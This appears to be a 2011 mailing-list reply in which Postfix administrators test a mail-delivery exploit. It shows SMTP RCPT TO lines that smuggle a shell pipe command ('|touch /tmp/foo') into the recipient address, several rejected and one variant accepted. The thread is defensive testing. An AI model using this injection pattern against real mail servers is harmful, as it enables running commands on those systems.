On Thursday February 10 2011 22:26:37 Patrick Ben Koetter wrote: > I tried the exploit and it seems that Postfix' restrictions that check for > FQDN address and correct recipient syntax prevent the exploit from getting > through:
> RCPT TO:root+:"|touch /tmp/foo" > 501 5.1.3 Bad recipient address syntax > RCPT TO:<root+:"|touch /tmp/foo"> > 504 5.5.2 <root+:|touch /tmp/foo>: Recipient address rejected: need > fully-qualified address > RCPT TO:<root@localhost+:"|touch /tmp/foo"> > 501 5.1.3 Bad recipient address syntax > Can anyone confirm this? rcpt to:<root+:"|touch /tmp/foo;@example.com"> 250 2.1.5 Ok Mark
